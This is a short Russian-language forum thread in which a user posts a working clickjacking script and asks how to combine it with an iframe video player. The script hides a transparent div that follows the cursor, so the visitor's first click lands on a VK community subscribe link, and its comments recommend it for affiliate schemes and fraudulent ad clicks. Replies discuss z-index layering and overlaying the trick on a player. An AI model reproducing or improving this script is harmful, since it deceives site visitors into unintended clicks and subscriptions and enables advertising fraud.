Помощь первый клик

228
.
Ребят это скрипт когда идет первый клик на странице тебя перенаправляет на другой сайт или тд. Вобщем мне нужно вставить iframe плеер, но когда вставляю происходит такая фигня либо плеел ложиться на верх кода и первого клика нет или когда вставляю плеер в div id="podpiska" плеера вообще на странице нет. Помогите пожалуста!!!





<div id="podpiska" style=" z-index: 99999; cursor: default !important; display: none; opacity: 0; filter: alpha(Opacity=0); position: absolute; overflow: hidden; height: 30px !important; max-height: 30px !important; width: 30px !important; max-width: 30px !important;"><input type="text" id="blur1" onblur="clickit();" onclick="clickit();" style="height: 21px !important; cursor: default !important; width: 100% !important;">

<!--
// Этот скрипт позволяет открывать любую ссылку по 1 нажатию на страницу сайта.
// Можно использовать, например, для партнерок. А также, для кликов по рекламе (вместо ссылки вставляется рекламный блок и прокркчивается к тому месту, куда нужно нажать)
// Ниже в примере - используется для подписок на группу. Создаем виджет подписки в группу ВК (ОД) нажимаем подписаться и нам откроется всплывающее окно. Копируем его адрес и вставляем в href="" ниже.
// Получим примерно это: 
-->

<a href="http://vk.com/widget_community.php?act=a_subscribe_box&oid=-89192180&state=1" target="_blank" style="text-decoration: none !important; display: block; cursor: default !important; height: 30px !important; max-height: 30px !important; width: 30px !important; max-width: 30px !important;       ">&nbsp;</a>

</div>


<script type="text/javascript"><!--
//Функция для установки куки. Не трогаем.
function SetCookie2(id, days){
var ws=new Date();
ws.setDate((days-0+ws.getDate()));
document.cookie=id+"; path=/; expires="+ws.toGMTString();
}

// Если есть куки vkgr7=off - скрипт не вызывается. Можете изменить для отладки.
if(document.cookie.indexOf("vkgr7=o5ff") == -1) {


// Функция передвижения кнопки за курсором.
function mv(event){
//Ширина и высота документа. Чтобы кнопка не делала прокрутку, вычитаем несколько пикселей
//var hei = document.getElementsByTagName("body")[0].offsetHeight-15;
var wi = document.getElementsByTagName("body")[0].offsetWidth-17;

//Координаты курсора. Вычитаем пиксели, чтобы курсор был на кнопке.
var e = event || window.event;
var xx1 = (e.pageX || e.clientX + document.documentElement.scrollLeft)-15;
var yy1 = (e.pageY || e.clientY + document.documentElement.scrollTop)-15;
if (xx1>wi) {xx1=wi;}
//if (yy1>hei) {yy1=hei;}

document.getElementById('podpiska').style.left=xx1+'px';
document.getElementById('podpiska').style.top=yy1+'px';

//Прокрутка окна к ссылке, а в данном примере - просто вниз до упора. Можно изменить для точности.
document.getElementById('podpiska').scrollTop='1000';
}

//Функции для автозапуска скрипта
document.onmousemove = mv;
document.onscroll = mv;
document.getElementById('podpiska').style.display='';
//Фокус на дополнительном элементе. При его потере - считаем скрипт сработавшим, так как body.onblur не везде работает.
setTimeout("document.getElementById('blur1').focus();", 900);
setTimeout("document.getElementById('podpiska').scrollTop='1000';", 1000);


//Если пользователь кликнул на фрейме или ушел со страницы, то закрываем окно на 1 день.

function clickit(){
setTimeout("document.getElementById('podpiska').style.display='none'; SetCookie2('vkgr7=off', 1);", 1000);
}

}
//--></script>
.
(\/)____o_O____(\/)
topmaster, попробуй местами наложение элементов поменять через z index
.
Koenig, Не не работает, я сделел так создал страничку хтмл и там запилил код клика и с помощью фрейма натянул на плеер, но другая проблема выходит, не можно по плееру кликать после первого клика, можно как-то решить вопрос?
Всего: 3